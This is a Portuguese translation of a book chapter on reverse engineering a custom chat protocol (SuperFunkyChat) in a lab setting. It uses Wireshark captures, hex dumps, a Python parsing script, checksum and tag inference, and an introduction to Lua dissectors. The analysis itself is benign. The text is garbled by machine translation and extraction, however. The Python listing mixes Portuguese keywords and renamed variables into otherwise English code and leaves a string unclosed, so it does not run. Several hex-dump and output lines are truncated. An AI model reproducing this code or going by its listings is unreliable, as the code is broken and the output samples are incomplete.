usar o Wireshark e um código personalizado para inspecionar
um protocolo de rede desconhecido. Nossa abordagem incluirá
a extração de estruturas e informações de estado.

O aplicativo que gera tráfego: SuperFunkyChat

O objeto de teste deste capítulo é um aplicativo de bate-papo


que escrevi em C# chamado SuperFunkyChat, que funciona em
Windows, Linux e macOS. Baixe os aplicativos pré-compilados e
o código-fonte mais recentes da página do GitHub em
[Link]
certifique-se de escolher os binários de versão apropriados para
sua plataforma. (Se você estiver usando Mono, escolha a versão
.NET e assim por diante.) Os aplicativos de console de exemplo
para cliente e servidor do SuperFunkyChat são chamados
ChatClient e ChatServer.

Após baixar o aplicativo, descompacte os arquivos da versão


em um diretório no seu computador para que você possa
executar cada aplicativo. Para simplificar, todos os exemplos de
linhas de comando usarão os binários executáveis do Windows.
Se você estiver executando no Mono, adicione o caminho para o
binário principal do Mono antes do comando. Ao executar
arquivos para .NET Core, adicione o binário dotnet antes do
comando. Os arquivos para .NET terão a extensão .dll em vez de
.exe.

Iniciando o servidor

Inicie o servidor executando o arquivo [Link] sem


parâmetros. Se a operação for bem-sucedida, ele deverá exibir
algumas informações básicas, conforme mostrado na Listagem
5-1.
C:\SuperFunkyChat> [Link]
ChatServer (c) 2017 James Forshaw
AVISO: Não use isso para um sistema de bate-papo real
Executando servidor na porta 12345 Global Bind False

Listagem 5-1: Exemplo de saída da execução do ChatServer

OBSERVAÇÃO

Atenção ao aviso! Este aplicativo não foi projetado


para ser um sistema de bate-papo seguro.

Observe na Listagem 5-1 que a última linha imprime a porta em


que o servidor está sendo executado (12345 neste caso) e se o
servidor está vinculado a todas as interfaces (global).
Provavelmente você não precisará alterar a porta (--port NUM),
mas talvez precise alterar se o aplicativo está vinculado a todas
as interfaces caso queira que os clientes e o servidor estejam
em computadores diferentes. Isso é especialmente importante
no Windows. Não é fácil capturar o tráfego para a interface de
loopback local no Windows; se você encontrar alguma
dificuldade, talvez precise executar o servidor em um
computador separado ou em uma máquina virtual (VM). Para
vincular a todas as interfaces, especifique o parâmetro --global.

Clientes Iniciais

Com o servidor em execução, podemos iniciar um ou mais


clientes. Para iniciar um cliente, execute o [Link] (veja a
Listagem 5-2), especifique o nome de usuário que deseja usar
no servidor (o nome de usuário pode ser qualquer coisa que
você desejar) e especifique o nome do host do servidor (por
exemplo, localhost). Ao executar o cliente, você deverá ver uma
saída semelhante à mostrada na Listagem 5-2. Se você vir algum
erro, certifique-se de ter configurado o servidor corretamente,
incluindo a exigência de vinculação a todas as interfaces ou a
desativação do firewall no servidor.

C:\SuperFunkyChat> [Link] USERNAME HOSTNAME


ChatClient (c) 2017 James Forshaw
AVISO: Não use isso para um sistema de bate-papo real
Conectando a localhost:12345

Listagem 5-2: Exemplo de saída da execução do ChatClient


Ao iniciar o cliente, observe o servidor em execução: você
deverá ver uma saída no console semelhante à da Listagem 5-3,
indicando que o cliente enviou com sucesso um pacote "Hello".

Conexão de [Link]:49825
Pacote recebido [Link]
Pacote Hello para o usuário: alice Nome do host: bora

Listagem 5-3: A saída do servidor quando um cliente se conecta.

Comunicação entre clientes

Após concluir com sucesso as etapas anteriores, você poderá


conectar vários clientes para se comunicar entre eles. Para
enviar uma mensagem a todos os usuários com o ChatClient,
digite a mensagem na linha de comando e pressione ENTER.

O ChatClient também suporta alguns outros comandos, que


começam com uma barra (/), conforme detalhado na Tabela 5-1.

Tabela 5-1: Comandos para o aplicativo ChatClient


Comando Descrição

/sair [mensagem] Encerrar o cliente com mensagem


opcional

/msg mensagem do Enviar mensagem para um


usuário usuário específico

/lista Liste os outros usuários do


sistema.

/ajuda Informações de ajuda para


impressão

Você está pronto para gerar tráfego entre os clientes e o


servidor do SuperFunkyChat. Vamos começar nossa análise
capturando e inspecionando algum tráfego usando o
Wireshark.

Um curso intensivo de análise com Wireshark

No Capítulo 2, apresentei o Wireshark, mas não entrei em


detalhes sobre como usá-lo para analisar o tráfego, em vez de
simplesmente capturá-lo. Como o Wireshark é uma ferramenta
muito poderosa e abrangente, aqui abordarei apenas
superficialmente suas funcionalidades. Ao iniciar o Wireshark
no Windows pela primeira vez, você deverá ver uma janela
semelhante à mostrada na Figura 5-1.

Figura 5-1: A janela principal do Wireshark no Windows

A janela principal permite que você escolha a interface da qual


deseja capturar o tráfego. Para garantir que capturemos apenas
o tráfego que queremos analisar, precisamos configurar
algumas opções na interface. Selecione Capturar ▸ Opções no
menu. A Figura 5-2 mostra a caixa de diálogo de opções que se
abre.
Figura 5-2: A caixa de diálogo Interfaces de Captura do
Wireshark

Selecione a interface de rede da qual deseja capturar o tráfego,


conforme mostrado em ➊. Como estamos usando o Windows,
escolha Conexão de Área Local, que é nossa conexão Ethernet
principal; não podemos capturar facilmente do Localhost. Em
seguida, defina um filtro de captura ➋. Neste caso,
especificamos o filtro ip host [Link] para limitar a
captura ao tráfego de ou para o endereço IP [Link]. (O
endereço IP que estamos usando é o endereço do servidor de
bate-papo. Altere o endereço IP conforme apropriado para sua
configuração.) Clique no botão Iniciar para começar a capturar
o tráfego.

Geração de tráfego de rede e captura de pacotes

A principal abordagem para análise de pacotes é gerar o


máximo de tráfego possível do aplicativo alvo para aumentar as
chances de encontrar suas diversas estruturas de protocolo. Por
exemplo, a Listagem 5-4 mostra uma única sessão com o
ChatClient para alice.

# alice - Sessão
> Olá!
< bob: Acabei de entrar vindo de borax
< bob: Como vai?
< bob: Isso é legal, não é?
< bob: Uhuuu
< Servidor: 'bob' saiu, disse 'Estou indo embora agor
< bob: Acabei de entrar vindo de borax
< bob: De volta para mais uma rodada.
< Servidor: 'bob' saiu, disse 'Não!'
> /sair
< Servidor: Não deixe a porta bater em você na saída!

Listagem 5-4: Sessão única do ChatClient para Alice.

E as Listagens 5-5 e 5-6 mostram duas sessões para Bob.

# bob - Sessão 1
> Como vai?
> Isso é legal, não é?
> /list
< Lista de Usuários
< alice - borax
> /msg alice Woo
> /quit
< Servidor: Não deixe a porta bater em você na saída!

Listagem 5-5: Primeira sessão do ChatClient para bob

# bob - Sessão 2
> De volta para mais uma rodada.
> /quit Não!
< Servidor: Não deixe a porta bater em você na saída!

Listagem 5-6: Segunda sessão do ChatClient para bob

Executamos duas sessões para o Bob para que possamos


capturar quaisquer eventos de conexão ou desconexão que
possam ocorrer apenas entre as sessões. Em cada sessão, um
colchete angular direito (>) indica um comando a ser inserido
no ChatClient e um colchete angular esquerdo (<) indica
respostas do servidor sendo escritas no console. Você pode
executar os comandos no cliente para cada uma dessas
capturas de sessão para reproduzir o restante dos resultados
deste capítulo para análise.

Agora, abra o Wireshark. Se você configurou o Wireshark


corretamente e o vinculou à interface correta, deverá começar
a ver os pacotes sendo capturados, como mostrado na Figura 5-
3.
Figura 5-3: Tráfego capturado no Wireshark

Após executar as sessões de exemplo, interrompa a captura


clicando no botão Parar (destacado) e salve os pacotes para uso
posterior, se desejar.

Análise básica

Vamos analisar o tráfego que capturamos. Para obter uma visão


geral da comunicação que ocorreu durante o período de
captura, escolha uma das opções no menu Estatísticas. Por
exemplo, escolha Estatísticas ▸ Conversas e você verá uma
nova janela exibindo conversas de alto nível, como sessões TCP,
conforme mostrado na janela Conversas da Figura 5-4.

Figura 5-4: A janela de Conversas do Wireshark

A janela Conversas mostra três conversas TCP separadas no


tráfego capturado. Sabemos que o aplicativo cliente
SuperFunkyChat usa a porta 12345, pois vemos três sessões TCP
separadas vindas da porta 12345. Essas sessões devem
corresponder às três sessões de cliente mostradas nas Listagens
5-4, 5-5 e 5-6.

Lendo o conteúdo de uma sessão TCP

Para visualizar o tráfego capturado de uma única conversa,


selecione uma das conversas na janela Conversas e clique no
botão Seguir Fluxo. Uma nova janela exibindo o conteúdo do
fluxo como texto ASCII deverá aparecer, conforme mostrado na
Figura 5-5.

Figura 5-5: Exibindo o conteúdo de uma sessão TCP na


visualização "Seguir fluxo TCP" do Wireshark.

O Wireshark substitui os dados que não podem ser


representados como caracteres ASCII por um único ponto, mas
mesmo com essa substituição, fica claro que grande parte dos
dados está sendo enviada em texto simples. Dito isso, o
protocolo de rede claramente não é exclusivamente baseado em
texto, pois as informações de controle dos dados são caracteres
não imprimíveis. A única razão pela qual vemos texto é que o
objetivo principal do SuperFunkyChat é enviar mensagens de
texto.

O Wireshark exibe o tráfego de entrada e saída em uma sessão


usando cores diferentes: rosa para tráfego de saída e azul para
tráfego de entrada. Em uma sessão TCP, o tráfego de saída vem
do cliente que iniciou a sessão TCP, e o tráfego de entrada vem
do servidor TCP. Como capturamos todo o tráfego para o
servidor, vamos analisar outra conversa. Para mudar a
conversa, altere o número do fluxo ➊ na Figura 5-5 para 1. Você
deverá ver agora uma conversa diferente, por exemplo, como a
da Figura 5-6.

Figura 5-6: Uma segunda sessão TCP de um cliente diferente


Compare a Figura 5-6 com a Figura 5-5; você verá que os
detalhes das duas sessões são diferentes. Alguns textos enviados
pelo cliente (na Figura 5-6), como "Como vai você?", são
mostrados como recebidos pelo servidor na Figura 5-5. A seguir,
tentaremos determinar o que essas partes binárias do protocolo
representam.

Identificação da estrutura de pacotes com despejo


hexadecimal

Neste ponto, sabemos que o protocolo em questão parece ser


em parte binário e em parte textual, o que indica que analisar
apenas o texto imprimível não será suficiente para determinar
todas as diversas estruturas presentes no protocolo.

Para analisar os dados em detalhes, primeiro retornamos à


visualização "Seguir fluxo TCP" do Wireshark, conforme
mostrado na Figura 5-5, e alteramos a opção "Mostrar e salvar
dados como" no menu suspenso para "Despejo hexadecimal". O
fluxo agora deve estar semelhante à Figura 5-7.
Figura 5-7: Visão Hex Dump do fluxo

A visualização Hex Dump mostra três colunas de informações.


A coluna mais à esquerda ➊ indica o deslocamento em bytes no
fluxo para uma determinada direção. Por exemplo, o byte na
posição 0 é o primeiro byte enviado nessa direção, o byte 4 é o
quinto e assim por diante. A coluna central ➋ mostra os bytes
em formato hexadecimal. A coluna à direita ➌ exibe a
representação ASCII, que vimos anteriormente na Figura 5-5.

Visualizando Pacotes Individuais

Observe como os blocos de bytes mostrados na coluna central


da Figura 5-7 variam em comprimento. Compare isso
novamente com a Figura 5-6; você verá que, além de estarem
separados pela direção, todos os dados na Figura 5-6 aparecem
como um bloco contínuo. Em contraste, os dados na Figura 5-7
podem aparecer como apenas alguns blocos de 4 bytes, depois
um bloco de 1 byte e, finalmente, um bloco muito mais longo
contendo o grupo principal de dados de texto.

O que vemos no Wireshark são pacotes individuais: cada bloco


é um único pacote TCP, ou segmento, contendo talvez apenas 4
bytes de dados. O TCP é um protocolo baseado em fluxo, o que
significa que não há limites reais entre blocos consecutivos de
dados quando você está lendo e escrevendo dados em um
socket TCP. No entanto, de uma perspectiva física, não existe um
protocolo de transporte de rede baseado em fluxo
propriamente dito. Em vez disso, o TCP envia pacotes
individuais compostos por um cabeçalho TCP contendo
informações, como os números das portas de origem e destino,
bem como os dados.

Na verdade, se voltarmos à janela principal do Wireshark,


podemos encontrar um pacote para comprovar que o
Wireshark está exibindo pacotes TCP individuais. Selecione
Editar ▸ Encontrar Pacote e um menu suspenso adicional
aparecerá na janela principal, como mostrado na Figura 5-8.
Figura 5-8: Encontrando um pacote na janela principal do
Wireshark

Vamos encontrar o primeiro valor mostrado na Figura 5-7, a


string BINX. Para isso, preencha as opções de Busca conforme
mostrado na Figura 5-8. A primeira caixa de seleção indica onde
pesquisar na captura de pacotes. Especifique que deseja
pesquisar nos bytes do pacote ➊. Deixe a segunda caixa de
seleção como Estreita e Ampla, o que indica que deseja
pesquisar strings ASCII e Unicode. Deixe também a caixa
Diferenciar maiúsculas de minúsculas desmarcada e
especifique que deseja procurar um valor de string ➋ no
terceiro menu suspenso. Em seguida, insira o valor da string
que queremos encontrar, neste caso, a string BINX ➌.
Finalmente, clique no botão Buscar e a janela principal deverá
rolar automaticamente e destacar o primeiro pacote que o
Wireshark encontrar contendo a string BINX ➍. Na janela do
meio, em ➎, você deverá ver que o pacote contém 4 bytes e
poderá ver os dados brutos na janela inferior, que mostram que
encontramos a string BINX ➏. Agora sabemos que a
visualização Hex Dump exibida pelo Wireshark na Figura 5-8
representa os limites dos pacotes, pois a string BINX está em um
pacote próprio.

Determinação da estrutura do protocolo

Para simplificar a determinação da estrutura do protocolo, faz


sentido observar apenas uma direção da comunicação de rede.
Por exemplo, vamos analisar apenas a direção de saída (do
cliente para o servidor) no Wireshark. Retornando à
visualização "Seguir Fluxo TCP", selecione a opção "Despejo
Hexadecimal" no menu suspenso "Mostrar e salvar dados
como". Em seguida, selecione a direção do tráfego do cliente
para o servidor na porta 12345 no menu suspenso em ➊,
conforme mostrado na Figura 5-9.

Figura 5-9: Um dump hexadecimal mostrando apenas a direção


de saída.

Clique no botão Salvar como... para copiar o despejo


hexadecimal do tráfego de saída para um arquivo de texto,
facilitando a inspeção. A Listagem 5-7 mostra uma pequena
amostra desse tráfego salvo como texto.

0000 42 49 4e 58 BINX➊
00004 00 00 00 0d ....➋
00008 00 00 03 55 ...U➌
0000C 00 .➍
0000D 05 61 6c 69 63 65 04 4f 4e 59 58 00 .alice.O NY
000019 00 00 00 14 ....
00001D 00 00 06 3f ...?
000021 03 .
000022 05 61 6c 69 63 65 0c 48 65 6c 6c 6f 20 54 68 6
000032 72 65 21 re!
--trecho omitido--

Listagem 5-7: Um trecho do tráfego de saída

O fluxo de saída começa com os quatro caracteres BINX ➊. Esses


caracteres nunca se repetem no restante do fluxo de dados e, se
você comparar diferentes sessões, sempre encontrará os
mesmos quatro caracteres no início do fluxo. Se eu não
estivesse familiarizado com esse protocolo, minha intuição
neste ponto seria que se trata de um valor mágico enviado do
cliente para o servidor para indicar que ele está se
comunicando com um cliente válido e não com algum outro
aplicativo que por acaso se conectou à porta TCP do servidor.

Seguindo o fluxo, vemos que uma sequência de quatro blocos é


enviada. Os blocos em ➋ e ➌ têm 4 bytes, o bloco em ➍ tem 1
byte e o bloco em ➎ é maior e contém principalmente texto
legível. Vamos considerar o primeiro bloco de 4 bytes em ➋.
Será que ele representa um número pequeno, digamos, o valor
inteiro 0xD ou 13 em decimal?

Relembrando a discussão sobre o padrão Tag, Comprimento,


Valor (TLV) no Capítulo 3, o TLV é um padrão muito simples no
qual cada bloco de dados é delimitado por um valor que
representa o comprimento dos dados subsequentes. Esse
padrão é especialmente importante para protocolos baseados
em fluxo, como os que operam sobre TCP, pois, caso contrário, a
aplicação não saberá a quantidade de dados que precisa ler de
uma conexão para processar o protocolo. Se assumirmos que
esse primeiro valor representa o comprimento dos dados, esse
comprimento corresponde ao comprimento do restante do
pacote? Vamos descobrir.

Contemos o total de bytes dos blocos em ➋, ➌, ➍ e ➎, que


parecem formar um único pacote, e o resultado é 21 bytes, oito
a mais do que o valor esperado de 13 (o valor inteiro 0xD). O
valor do bloco de comprimento pode não estar contabilizando
seu próprio comprimento. Se removermos o bloco de
comprimento (que tem 4 bytes), o resultado é 17, 4 bytes a mais
do que o comprimento desejado, mas nos aproximamos do
valor correto. Também temos o outro bloco desconhecido de 4
bytes em ➌, após o possível comprimento, mas talvez ele
também não esteja sendo contabilizado. Claro, é fácil especular,
mas os fatos são mais importantes, então vamos fazer alguns
testes.

Testando nossas hipóteses

Neste ponto da análise, paro de analisar um dump


hexadecimal, pois não é a abordagem mais eficiente. Uma
maneira rápida de testar se nossas suposições estão corretas é
exportar os dados do fluxo e escrever um código simples para
analisar a estrutura. Mais adiante neste capítulo, escreveremos
um código para o Wireshark realizar todos os nossos testes na
interface gráfica, mas por enquanto, implementaremos o código
usando Python na linha de comando.

Para importar nossos dados para o Python, poderíamos


adicionar suporte para leitura de arquivos de captura do
Wireshark, mas por enquanto vamos apenas exportar os bytes
dos pacotes para um arquivo. Para exportar os pacotes da caixa
de diálogo mostrada na Figura 5-9, siga estes passos:

1. No menu suspenso "Mostrar e salvar dados como", escolha a


opção "Raw" (bruto).
2. Clique em Salvar como para exportar os pacotes de saída
para um arquivo binário chamado bytes_outbound.bin.
Também queremos exportar os pacotes de entrada, então mude
para e selecione a conversa de entrada. Em seguida, salve os
bytes brutos de entrada usando as etapas anteriores, mas
nomeie o arquivo como bytes_inbound.bin.

Agora, utilize a ferramenta XXD (ou uma ferramenta similar) na


linha de comando para garantir que os dados foram extraídos
com sucesso, conforme mostrado na Listagem 5-8.

$ xxd bytes_outbound.bin
0000: 4249 4e58 0000 000f 0000 0473 0003 626f BINX...
000010: 6208 7573 6572 2d62 6f78 0000 0000 1200 [Link]
000020: 0005 8703 0362 6f62 0c48 6f77 2061 7265 .....
000030: 2079 6f75 3f00 0000 1c00 0008 e303 0362 você?
000040: 6f62 1654 6869 7320 6973 206e 6963 6520 [Link]
000050: 6973 6e27 7420 6974 3f00 0000 0100 0000 não é
000060: 0606 0000 0013 0000 0479 0505 616c 6963 .....
000070: 6500 0000 0303 626f 6203 576f 6f00 0000 e....
000080: 1500 0006 8d02 1349 276d 2067 6f69 6e67 .....
000090: 2061 7761 7920 6e6f 7721 embora agora!

Listagem 5-8: Os bytes do pacote exportado

Analisando o protocolo com Python


Agora vamos escrever um script simples em Python para
analisar o protocolo. Como estamos apenas extraindo dados de
um arquivo, não precisamos escrever nenhum código de rede;
basta abrir o arquivo e ler os dados. Também precisaremos ler
dados binários do arquivo — especificamente, um inteiro de
ordem de bytes da rede para o comprimento e um bloco
desconhecido de 4 bytes.

Realizando a conversão binária

Podemos usar a biblioteca struct integrada do Python para


realizar as conversões binárias. O script deve falhar
imediatamente se algo parecer errado, como, por exemplo, não
conseguir ler todos os dados esperados do arquivo. Por
exemplo, se o comprimento for de 100 bytes e pudermos ler
apenas 20 bytes, a leitura deve falhar. Se nenhum erro ocorrer
durante a análise do arquivo, podemos ter mais confiança de
que nossa análise está correta. O exemplo 5-9 mostra a primeira
implementação, escrita para funcionar tanto em Python 2
quanto em Python 3.

from struct import unpack


import sys
import os
# Lê um número fixo de bytes
➊ def read_bytes(f, l):
bytes = [Link](l)
➋ if len(bytes) != l:
raise Exception("Não há bytes suficientes no fluxo")
return bytes

# Desempacota um inteiro de ordem de byte de rede de


➌ def read_int(f):
return unpack("!i", read_bytes(f, 4))[0]

# Lê um único byte
➍ def read_byte(f):
return ord(read_bytes(f, 1))

filename = [Link][1]
file_size = [Link](filename)

f = open(filename, "rb")
➎ print("Magic: %s" % read_bytes(f, 4))

# Continua lendo até que não haja mais bytes arquivo


➏ enquanto [Link]() < tamanho_do_arquivo:
comprimento = ler_int(f)
unk1 = ler_int(f)
unk2 = ler_byte(f)
dados = ler_bytes(f, comprimento - 1)
print("Comprimento: %d, Unk1: %d, Unk2: %d, Dados: %s
% (comprimento, unk1, unk2, dados))

Listagem 5-9: Um exemplo de script Python para analisar dados


de protocolo.

Vamos analisar as partes importantes do script. Primeiro,


definimos algumas funções auxiliares para ler dados do
arquivo. A função `read_bytes()` lê um número fixo de bytes do
arquivo especificado como parâmetro. Se não houver bytes
suficientes no arquivo para a leitura, uma exceção é lançada
para indicar um erro. Também definimos uma função
`read_int()` para ler um inteiro de 4 bytes do arquivo na ordem
de bytes da rede, onde o byte mais significativo do inteiro é o
primeiro no arquivo, bem como uma função para ler um único
byte. No corpo principal do script, abrimos um arquivo passado
na linha de comando e primeiro lemos um valor de 4 bytes, que
esperamos ser o valor mágico BINX. Em seguida, o código entra
em um loop enquanto ainda houver dados para ler, lendo o
comprimento, os dois valores desconhecidos e, finalmente, os
dados, imprimindo os valores no console.
Ao executar o script na Listagem 5-9 e passar o nome de um
arquivo binário para abrir, todos os dados do arquivo devem
ser analisados e nenhum erro deve ser gerado, se nossa análise
de que o primeiro bloco de 4 bytes corresponde ao
comprimento dos dados enviados na rede estiver correta. A
Listagem 5-10 mostra um exemplo de saída em Python 3, que
exibe strings binárias de forma mais eficiente do que o Python
2.

$ python3 read_protocol.py bytes_outbound.bin


Magic: b'BINX'
Len: 15, Unk1: 1139, Unk2: 0, Data: b'\x03bob\x08user
Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow
Len: 28, Unk1: 2275, Unk2: 3, Data: b"\x03bob\x16This
Len: 1, Unk1: 6, Unk2: 6, Data: b''
Comprimento: 19, Desconhecido1: 1145, Desconhecido2:
Comprimento: 21, Desconhecido1: 1677, Desconhecido2:

Listagem 5-10: Exemplo de saída da execução da Listagem 5-9


em um arquivo binário.

Tratamento de dados recebidos


Se você executar o exemplo 5-9 em um conjunto de dados de
entrada exportado, receberá imediatamente um erro, pois não
existe a string mágica BINX no protocolo de entrada, conforme
mostrado no exemplo 5-11. Obviamente, isso é o que
esperaríamos se houvesse um erro em nossa análise e o campo
de comprimento não fosse tão simples quanto pensávamos.

$ python3 read_protocol.py bytes_inbound.bin


Magic: b'\x00\x00\x00\x02'
Length: 1, Unknown1: 16777216, Unknown2: 0, Data: b''
Traceback (most recent call last):
File "read_protocol.py", line 31, in <module>
data = read_bytes(f, length - 1)
File "read_protocol.py", line 9, in read_bytes
raise Exception("Not enough bytes in stream")
Exception: Not enough bytes in stream

Erro da Listagem 5-11 gerado pela Listagem 5-9 nos dados de


entrada

Podemos corrigir esse erro modificando ligeiramente o script


para incluir uma verificação do valor mágico e redefinir o
ponteiro do arquivo caso ele não seja igual à string BINX.
Adicione a seguinte linha logo após a abertura do arquivo no
script original para redefinir o ponteiro do arquivo para o
início se o valor mágico estiver incorreto.

if read_bytes(f, 4) != b'BINX': [Link](0)

Agora, com essa pequena modificação, o script será executado


com sucesso nos dados de entrada e resultará na saída
mostrada na Listagem 5-12.

$ python3 read_protocol.py bytes_inbound.bin


Len: 2, Unk1: 1, Unk2: 1, Data: b'\x00'
Len: 36, Unk1: 3146, Unk2: 3, Data: b"\x03bob\x1eAcab
Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cComo

Listagem 5-12: Saída do script modificado em dados de entrada

Investigando as partes desconhecidas do protocolo

Podemos usar a saída nas Listagens 5-10 e 5-12 para começar a


investigar as partes desconhecidas do protocolo. Primeiro,
considere o campo rotulado como Unk1. Os valores que ele
assume parecem ser diferentes para cada pacote, mas os
valores são baixos, variando de 1 a 3146.
Mas as partes mais informativas da saída são as duas entradas
seguintes, uma dos dados de saída e outra dos dados de entrada.

SAÍDA: Comprimento: 1, Desconhecido1: 6, Desconhecido


ENTRADA: Comprimento: 2, Desconhecido1: 1, Desconheci

Observe que em ambas as entradas o valor de Unk1 é o mesmo


que o de Unk2. Isso pode ser uma coincidência, mas o fato de
ambas as entradas terem o mesmo valor pode indicar algo
importante. Observe também que na segunda entrada o
comprimento é 2, o que inclui o valor de Unk2 e um valor de
dados 0, enquanto o comprimento da primeira entrada é
apenas 1, sem dados adicionais após o valor de Unk2. Talvez
Unk1 esteja diretamente relacionado aos dados no pacote?
Vamos descobrir.

Calculando o dígito de verificação

É comum adicionar um checksum a um protocolo de rede. O


exemplo clássico de um checksum é simplesmente a soma de
todos os bytes nos dados que você deseja verificar em busca de
erros. Se assumirmos que o valor desconhecido é um checksum
simples, podemos somar todos os bytes nos pacotes de entrada
e saída que destaquei na seção anterior, resultando na soma
calculada mostrada na Tabela 5-2.

Tabela 5-2: Testando o checksum para pacotes de exemplo

Valor Bytes de Soma dos bytes de


desconhecido dados dados

6 6 6

1 1, 0 1

Embora a Tabela 5-2 pareça confirmar que o valor


desconhecido corresponde à nossa expectativa de um checksum
simples para pacotes muito simples, ainda precisamos verificar
se o checksum funciona para pacotes maiores e mais
complexos. Existem duas maneiras fáceis de determinar se
nossa suposição de que o valor desconhecido é um checksum
dos dados está correta. Uma delas é enviar mensagens simples e
incrementais de um cliente (como A, depois B, depois C e assim
por diante), capturar os dados e analisá-los. Se o checksum for
uma simples adição, o valor deve incrementar em 1 para cada
mensagem incremental. A alternativa seria adicionar uma
função para calcular o checksum e verificar se o valor
capturado na rede corresponde ao valor calculado.

Para testar nossas hipóteses, adicione o código da Listagem 5-13


ao script da Listagem 5-7 e faça uma chamada a ele após a
leitura dos dados para calcular o checksum. Em seguida,
compare o valor extraído da captura de rede como Unk1 com o
valor calculado para verificar se o checksum calculado
coincide.

def calc_chksum(unk2, data):


chksum = unk2
for i in range(len(data)):
chksum += ord(data[i:i+1])
return chksum

Listagem 5-13: Calculando o checksum de um pacote

E de fato, corresponde! Os números calculados coincidem com o


valor de Unk1. Portanto, descobrimos a próxima parte da
estrutura do protocolo.

Descobrindo o valor de uma etiqueta


Agora precisamos determinar o que Unk2 pode representar.
Como o valor de Unk2 é considerado parte dos dados do pacote,
presume-se que esteja relacionado ao significado do que está
sendo enviado. No entanto, como vimos em ➍ na Listagem 5-7,
o valor de Unk2 está sendo gravado na rede como um valor de
byte único, o que indica que ele é, na verdade, separado dos
dados. Talvez o valor represente a parte Tag de um padrão TLV,
assim como suspeitamos que Length seja a parte Value dessa
construção.

Para determinar se Unk2 é de fato o valor da Tag e uma


representação de como interpretar o restante dos dados, vamos
utilizar o ChatClient ao máximo, testar todos os comandos
possíveis e capturar os resultados. Em seguida, podemos
realizar uma análise básica comparando o valor de Unk2 ao
enviar o mesmo tipo de comando para verificar se o valor de
Unk2 é sempre o mesmo.

Por exemplo, considere as sessões do cliente nas Listagens 5-4,


5-5 e 5-6. Na sessão da Listagem 5-5, enviamos duas mensagens,
uma após a outra. Já analisamos essa sessão usando nosso
script Python na Listagem 5-10. Para simplificar, a Listagem 5-
14 mostra apenas os três primeiros pacotes de captura (com a
versão mais recente do script).
Unk2: 0➊, Data: b'\x03bob\x08user-box\x00'
Unk2: 3➋, Data: b'\x03bob\x0cComo você está?'
Unk2: 3➌, Data: b"\x03bob\x16Isso é legal, não é?"
*SNIP*

Listagem 5-14: Os três primeiros pacotes da sessão representada


pela Listagem 5-5.

O primeiro pacote ➊ não corresponde a nada que digitamos na


sessão do cliente na Listagem 5-5. O valor desconhecido é 0. As
duas mensagens que enviamos na Listagem 5-5 são claramente
visíveis como texto na parte de Dados dos pacotes em ➋ e ➌. Os
valores de Unk2 para ambas as mensagens são 3, que é
diferente do valor 0 do primeiro pacote. Com base nessa
observação, podemos supor que o valor 3 possa representar um
pacote que está enviando uma mensagem e, se for esse o caso,
esperaríamos encontrar o valor 3 usado em todas as conexões
ao enviar um único valor. De fato, se você analisar agora uma
sessão diferente contendo mensagens sendo enviadas,
encontrará o mesmo valor 3 usado sempre que uma mensagem
for enviada.

OBSERVAÇÃO
Nesta etapa da minha análise, eu retornaria às
diversas sessões do cliente e tentaria correlacionar
a ação que executei no cliente com as mensagens
enviadas. Além disso, correlacionaria as
mensagens recebidas do servidor com a saída do
cliente. Claro, isso é fácil quando há uma
correspondência direta entre o comando usado no
cliente e o resultado na rede. No entanto,
protocolos e aplicações mais complexos podem não
ser tão óbvios, então você terá que fazer muita
correlação e testes para tentar descobrir todos os
valores possíveis para partes específicas do
protocolo.

Podemos assumir que Unk2 representa a parte Tag da estrutura


TLV. Através de análises adicionais, podemos inferir os
possíveis valores de Tag, conforme mostrado na Tabela 5-3.

Tabela 5-3: Comandos inferidos a partir da análise das sessões


capturadas
Número do Direção Descrição
comando

0 Saída Enviado quando o cliente se


conecta ao servidor.

1 Entrada Enviado do servidor após o


cliente enviar o comando '0' para
o servidor.

2 Ambos Enviado pelo cliente quando o


comando /quit é usado. Enviado
pelo servidor em resposta.

3 Ambos Enviado do cliente com uma


mensagem para todos os
usuários. Enviado do servidor
com a mensagem de todos os
usuários.

5 Saída Enviado pelo cliente quando o


comando /msg é usado.
Número do Direção Descrição
comando

6 Saída Enviado pelo cliente quando o


comando /list é usado.

7 Entrada Enviado do servidor em resposta


ao comando /list.

OBSERVAÇÃO

Criamos uma tabela de comandos, mas ainda não


sabemos como os dados de cada um deles são
representados. Para analisar esses dados mais a
fundo, voltaremos ao Wireshark e
desenvolveremos um código para dissecar o
protocolo e exibi-lo na interface gráfica. Lidar com
arquivos binários simples pode ser complicado e,
embora pudéssemos usar uma ferramenta para
analisar um arquivo de captura exportado do
Wireshark, é melhor deixar que o próprio
Wireshark cuide de grande parte desse trabalho.
Desenvolvendo dissecadores do Wireshark em Lua

É fácil analisar um protocolo conhecido como o HTTP com o


Wireshark, pois o software consegue extrair todas as
informações necessárias. Mas protocolos personalizados são
um pouco mais desafiadores: para analisá-los, precisamos
extrair manualmente todas as informações relevantes de uma
representação em bytes do tráfego de rede.

Felizmente, você pode usar o plug-in Protocol Dissectors do


Wireshark para adicionar análises de protocolo adicionais ao
Wireshark. Antes, isso exigia a criação de um analisador em C
para funcionar com a sua versão específica do Wireshark, mas
as versões modernas do Wireshark suportam a linguagem de
script Lua. Os scripts que você escrever em Lua também
funcionarão com a ferramenta de linha de comando tshark.

Esta seção descreve como desenvolver um script Lua simples


para analisar o protocolo SuperFunkyChat que temos analisado.

OBSERVAÇÃO

Detalhes sobre desenvolvimento em Lua e as APIs


do Wireshark estão além do escopo deste livro.
Para mais informações sobre como desenvolver em
Lua, visite o site oficial em
[Link] O site do Wireshark,
e especialmente o Wiki, são os melhores lugares
para encontrar diversos tutoriais e exemplos de
código ([Link]

Antes de desenvolver o analisador, certifique-se de que sua


cópia do Wireshark seja compatível com Lua, verificando a
caixa de diálogo Sobre o Wireshark em Ajuda ▸ Sobre o
Wireshark. Se você vir a palavra Lua na caixa de diálogo, como
mostrado na Figura 5-10, você poderá prosseguir.
Figura 5-10: A caixa de diálogo "Sobre" do Wireshark
mostrando o suporte a Lua.

OBSERVAÇÃO

Se você executar o Wireshark como root em um


sistema do tipo Unix, o Wireshark normalmente
desabilitará o suporte a Lua por motivos de
segurança, e você precisará configurar o
Wireshark para ser executado como um usuário
sem privilégios para capturar e executar scripts
Lua. Consulte a documentação do Wireshark para
o seu sistema operacional para descobrir como
fazer isso com segurança.

Você pode desenvolver analisadores para praticamente


qualquer protocolo que o Wireshark capture, incluindo TCP e
UDP. É muito mais fácil desenvolver analisadores para
protocolos UDP do que para TCP, porque cada pacote UDP
capturado normalmente contém tudo o que o analisador
